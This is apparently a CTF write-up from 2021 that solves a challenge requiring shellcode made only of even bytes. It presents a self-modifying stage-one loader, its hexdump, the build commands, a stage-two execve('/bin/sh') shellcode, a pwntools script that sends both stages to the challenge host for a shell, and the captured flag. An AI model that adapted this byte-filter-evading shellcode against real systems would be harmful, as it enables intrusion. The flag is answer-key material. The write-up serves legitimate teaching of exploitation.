MetaCTF21: Two's Compliment

back · home · ctf · posted 2021-12-04 · shellcode with only even bytes
Seven ate six... After seven ate six, it thought to itself, "After I ate nine my mouth felt numb, but this time it's even number".

nc host1.metaproblems.com 5480

We're given a binary that executes shellcode after making sure that every byte is even. The challenge is simple, but execution is tedious... I chose to go with a staged approach, since that's less shellcode we need to "make even".

Stage One:

I began with a simple stage payload like this:

.global _start
_start:
.intel_syntax noprefix
	mov rdi, 0
	lea rsi, [rip+9]
	mov rdx, 1000
	syscall

Then, for each byte that was not even, I would add one to it, and add another instruction that decrements it (since it's a rwx page at the time of execution). After an hour, we get this abomination:

.global _start
_start:
.intel_syntax noprefix
	dec BYTE PTR [rdx+0x8]

	dec BYTE PTR [rdx+0xc]
	nop
	.byte 0x48
	.byte 0x8a
	.byte 0xd6

	mov edx, 0xcc
	dec BYTE PTR [rsi+0x2a]
	dec BYTE PTR [rsi+0x2e]

	inc BYTE PTR [rsi+0x1a]
	nop
	.byte 0x48
	.byte 0xfe
	.byte 0xc6

	inc BYTE PTR [rsi+0x2a]
	dec BYTE PTR [rsi+0x2e]

	dec BYTE PTR [rsi+0x26]
	nop
	.byte 0x48
	.byte 0x32
	.byte 0xc0

	.byte 0x48
	.byte 0x32
	.byte 0xfe
	nop

	nop
	.byte 0x10
	.byte 0x06

Which when assembled is:

00000000: fe4a 08fe 4a0c 9048 8ad6 bacc 0000 00fe  .J..J..H........
00000010: 4e2a fe4e 2efe 461a 9048 fec6 fe46 2afe  N*.N..F..H...F*.
00000020: 4e2e fe4e 2690 4832 c048 32fe 9090 1006  N..N&.H2.H2.....

How do you assemble this? If your file is named shellcode.s, I use gcc (à la Zardus technique):

gcc -nostdlib -static shellcode.s -o shellcode-elf
objcopy --dump-section .text=shellcode-raw shellcode-elf

Stage Two

My stage two payload was re-used nop sled and call to /bin/sh.

.global _start
_start:
.intel_syntax noprefix
  nop
  nop
  nop
  nop
  ; [ more nops ]
  nop

  mov rax, 59
  lea rdi, [rip+binsh]
  mov rsi, 0
  mov rdx, 0
  syscall
binsh:
  .string "/bin/sh"

Shell

Finally, we run the two with a script:

from pwn import *
from time import sleep

stageone = ""
with open("./stage1", "rb") as f:
	stageone = f.read()

shellcode = ""
with open("./stage2", "rb") as f:
	shellcode = f.read()

p = remote("host1.metaproblems.com", 5480)

p.sendline(stageone)
sleep(1)
p.sendline(shellcode)
p.interactive()

Flag: MetaCTF{eVEn_evEN_8y7e5_c4N_re4cH_0Dd_Re9157eRs}

If you have any questions or feedback, please email my public inbox at ~sourque/public-inbox@lists.sr.ht.